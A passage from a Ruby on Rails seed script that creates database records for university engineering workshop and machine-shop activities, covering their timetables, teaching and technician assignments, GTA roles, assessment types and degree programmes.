pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a7.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a7.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a7.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a7.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a7.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a8 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 1)\n at8 = ActivityTimetable.where(activity_id: a8.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a8.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a8.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a8.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a8.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a8.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a9 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at9 = ActivityTimetable.where(activity_id: a9.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a9.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a9.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a9.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a9.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a9.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a10 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at10 = ActivityTimetable.where(activity_id: a10.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a10.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a10.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a10.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a10.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a10.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a11 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at11 = ActivityTimetable.where(activity_id: a11.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a11.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a11.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a11.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a11.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a11.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a12 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at12 = ActivityTimetable.where(activity_id: a12.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a12.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a12.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a12.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a12.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a12.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a13 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at13 = ActivityTimetable.where(activity_id: a13.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a13.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a13.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a13.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a13.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a13.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a14 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at14 = ActivityTimetable.where(activity_id: a14.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a14.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a14.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a14.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a14.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a14.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a15 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA GYRO\", archived: true, in_drive: false, user_id: 5)\n at15 = ActivityTimetable.where(activity_id: a15.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a15.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a15.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a15.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a15.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a15.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a16 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at16 = ActivityTimetable.where(activity_id: a16.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a16.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a16.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a16.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a16.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a16.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a17 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: false, user_id: 5)\n at17 = ActivityTimetable.where(activity_id: a17.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a17.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a17.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a17.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a17.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a17.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a18 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 3)\n at18 = ActivityTimetable.where(activity_id: a18.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a18.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a18.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a18.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a18.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a18.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a19 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at19 = ActivityTimetable.where(activity_id: a19.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a19.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a19.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a19.id).first_or_create!(assess_weight: 12.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a19.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a19.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a20 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at20 = ActivityTimetable.where(activity_id: a20.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a20.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a20.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a20.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a20.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a20.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a21 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 2)\n at21 = ActivityTimetable.where(activity_id: a21.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a21.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a21.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a21.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a21.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a21.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a22 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 1)\n at22 = ActivityTimetable.where(activity_id: a22.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a22.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a22.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a22.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a22.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a22.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a23 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 3)\n at23 = ActivityTimetable.where(activity_id: a23.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a23.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a23.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a23.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a23.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a23.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a24 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at24 = ActivityTimetable.where(activity_id: a24.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a24.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a24.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a24.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a24.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a24.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a25 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 4)\n at25 = ActivityTimetable.where(activity_id: a25.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a25.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a25.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a25.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a25.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a25.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a26 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 1)\n at26 = ActivityTimetable.where(activity_id: a26.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a26.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a26.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a26.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a26.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a26.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a27 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 5)\n at27 = ActivityTimetable.where(activity_id: a27.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 12, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a27.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a27.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a27.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a27.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a27.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a28 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100f\").first_or_create!(name: \"Engineering Applications Machine Shop 2\",\n name_abrv: \"EAMACH2\", archived: false, in_drive: true, user_id: 3)\n at28 = ActivityTimetable.where(activity_id: a28.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 